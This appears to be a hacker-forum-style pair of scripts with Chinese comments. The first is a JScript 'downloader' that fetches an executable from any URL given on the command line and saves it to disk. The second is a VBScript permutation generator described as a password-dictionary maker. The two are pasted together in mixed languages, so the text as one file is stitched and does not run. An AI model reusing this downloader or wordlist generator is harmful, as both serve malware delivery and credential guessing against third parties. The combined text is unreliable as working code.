//将常用的vbs下载者改成js版了。本来想用jsc.exe编译，可是不成功。jsc.exe不认WScript

//use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exe

var objArgs = WScript.Arguments;
var sGet=new ActiveXObject("ADODB.Stream");
var xGet = false;
try {
xGet = new XMLHttpRequest();
}
catch (trymicrosoft) {

try {
xGet = new ActiveXObject("Msxml2.XMLHTTP");
}

catch (othermicrosoft) {
try {
xGet = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (failed) {
xGet = false;
}
}
}

xGet.Open ("GET",objArgs(0).toLowerCase(),0);
xGet.Send();
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write (xGet.ResponseBody);
sGet.SaveToFile (objArgs(1).toLowerCase(),2);

'code by lcx ,很好,很强大,很黄很暴力,很傻很天真,很zd很cnn
'这个程序是算不同数字与字母的所有排列组合,当然可以做为字典生成器来用.如需不同组合,只需改本程序a和b的变量即可以.
'use:cscript this.vbs > dic.txt　
a=Array(1,2,3,4,"a")
Function js1(n)
for i=1 to n
f=f&"f"&i&"&"
s=s&"For Each f"&i &" In a :wscript.echo "& f
s=Mid(S,1,Len(S)-1)&":"
Next
js1=s
End Function

Function js2(n)
for i=1 to n
m=m & "Next" & ":"
Next
js2=m
End Function

lcx= js1(UBound(a)+1)&js2(UBound(a)+1)
lcx=Mid(lcx,1,Len(lcx)-1)
b="a=Array(1,2,3,4,""a""):"&lcx

Execute b